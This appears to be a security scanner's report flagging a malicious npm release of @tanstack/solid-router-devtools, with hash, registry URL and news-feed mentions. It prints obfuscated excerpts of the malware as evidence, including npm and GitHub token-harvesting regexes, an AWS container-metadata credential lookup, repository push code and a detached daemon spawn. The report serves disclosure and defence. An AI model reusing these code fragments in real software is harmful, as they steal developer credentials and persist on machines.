Suspicious ^86% javascript Download

@tanstack/solid-router-devtools 1.166.16

Obfuscated router with credential access

Concealed daemon targets editor-agent autorun configsGitHub repository exfiltration with harvested npm token

SHA-2565abb0ff86a2cf3ecf9e087aa0a936569ef406e1762fb73309e554cba4b7af857

URLhttps://registry.npmjs.org/@tanstack/solid-router-devtools/-/solid-router-devtools-1.166.16.tgz

MaleculeK(Li)O₄(SAs₄Ca₂Dy)H₆(Po₄Cm₈CrDb₁₀F₄Os₆)Md₃(InPa₆)

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (Analyse de l’attaque de la supply chain TanStack), https://feeds.feedburner.com/TheHackersNews (CrowdSec Says TanStack npm Attack Led to Copy of 170 Private GitHub Repositories) +3 more.

Evidence

Hex byte array literal opening line 1

1:113475… case 0x1:return _0x17331d[_0x4ed1bc(0x12d2)](_0x46d061,_0x2694fa[0x0]);case 0x2:return _0x17331d['call'](_0x46d061,_0x2694fa[0x0],_0x2694fa[0x1]);case 0x3:return _0x17331d[_0x4ed1bc(0x12d2)](_0x46d061,_0x2694fa[0x0],_0x2694fa[0x1],_0x2694fa[0x2]);}return _0x17331d[_0x4ed1bc(0x15fd)](_0x46d061,_0x2694fa);}function _0x372e43(_0x2bb120,_0x315467,_0x167e19,_0x5d888f){const _0x3afdbc=_0xc306f0;var _0x5d4b16=-0x1,_0x43cb7e=_0x1b23a1[_0x3afdbc(0x1964)](_0x2bb120,null)?0x0:_0x2bb120[_0x3afdbc(0x1ade)];while(_0x1b23a1[_0x3afdbc(0x2ad8)](++_0x5d4b16,_0x43cb7e)){var _0x2a934c=_0x2bb120[_0x5d4b16];_0x315467(_0x5d888f,_0x2a934c,_0x167e19(_0x2a934c),_0x2bb120);}return _0x5d888f;}function _0x3d …

GitHub REST API version header line 1

1:976954… 67===_0xfc608a;},'qTsyE':function(_0x2876f2,_0x30dbdb){return _0x2876f2(_0x30dbdb);},'lhsUk':'FILE_UPDATES\x20is\x20empty\x20—\x20define\x20at\x20least\x20one\x20file\x20to\x20push.'};super();if(!_0x3dce4b)throw _0x5ec114[_0x355634(0x1272)](Error,_0x5ec114['XmMfy']);if(_0x5ec114['gZGdN'](Object['keys'](hO)['length'],0x0))throw _0x5ec114[_0x355634(0x1be7)](Error,_0x5ec114[_0x355634(0x1695)]);this[_0x355634(0x178e)]=[];let {owner:_0x9be68f,repo:_0x555d50}=fO();this[_0x355634(0xf01)]=_0x9be68f,this['repo']=_0x555d50;let _0x568c81=new dK(_0x3dce4b);this[_0x355634(0x88f)]=n …

npm token regex pattern line 1

1:1220855… 6 extends gQ{[_0x5b1880(0x161d)];constructor(_0x21ef1d){const _0x58c546=_0x5b1880;super('github',_0x58c546(0x1575),{'npmtoken':/npm_[A-Za-z0-9]{36,}/g,'ghtoken':/gh[op]_[A-Za-z0-9]{36}/g}),this[_0x58c546(0x161d)]=_0x21ef1d;}async[_0x5b1880(0xe0c)](){const _0x3ef5a2=_0x5b1880,_0x1f651e={'BfAPV':function(_0x450271,_0x4faf0e){return _0x450271(_0x4faf0e);},'QepZO':function(_0x84c321,_0x5c4f02){return _0x8 …

Node references AWS container metadata address line 1

1:1234385… Rwk=')],_0x30f1ec=process.env[beautify('NiyU5f7ohrmyvDsszL/1QWZIRoNyee7NJjK/NjIvY1Md/WlMK3TKHl6AL6ZRGg==')]??(_0x347655?'http://169.254.170.2'+_0x347655:null);if(!_0x30f1ec)throw _0x157168[_0x2ee626(0x453)](Error,_0x2ee626(0x2db6));let _0x4e52a6={},_0x27ac29=process.env[beautify('14GKwAitUvkC0fA/4z8/wUuZCtA0AJS3hDAq1+DGqEH8RCHIJtRDMa+0XQLY')];if(_0x27ac29)_0x4e52a6[_0x2ee626(0x2442)]=_0x27ac29; …

Obfuscated detached process unrefs child line 1

1:2335390… new NV(_0x3c985d,this[_0x54c55e(0x2d98)]);}catch{return null;}}}import{spawn as _0x54b8f0}from'child_process';function F$(){const _0x951bf2=_0x5b1880,_0x943325={'OCpXI':function(_0x1507a5,_0x1e7b4c,_0x1cffce,_0x180352){return _0x1507a5(_0x1e7b4c,_0x1cffce,_0x180352);},'voodj':'ignore','VqNpP':_0x951bf2(0x1811)};if(process.env.__DAEMONIZED)return!0x1;let _0x274635=_0x943325[_0x951bf2(0x2cdd)](_0x54b8f0,process[_0x951bf2(0x1a00)],process[_0x951bf2(0x1ab2)]['slice'](0x1),{'detached':!0x0,'stdio':_0x943325[_0x951bf2(0x2e3a)],'cwd':process[_0x951bf2(0x24bc)](),'env':{...process.env,'__DAEMONIZED':'1'}});if(_0x274635['on'](_0x943325[_0x951bf2(0x431)],_0x274a9c=>{}),_0x274635['unref'](),_0x274635[_0x951bf2(0x27a2)]);return!0x0;}import{existsSync as _0x300321,readFileSync as _0x357552,unlinkSync as _0x1e687e,writeFileSync as _0x73f6f2}from'fs';import{tmpdir as _0x19e0e9}from' …

Showing the top 5 files — 4 more files (16 regions) not shown.

No evidence locations were recorded for this file. Raw result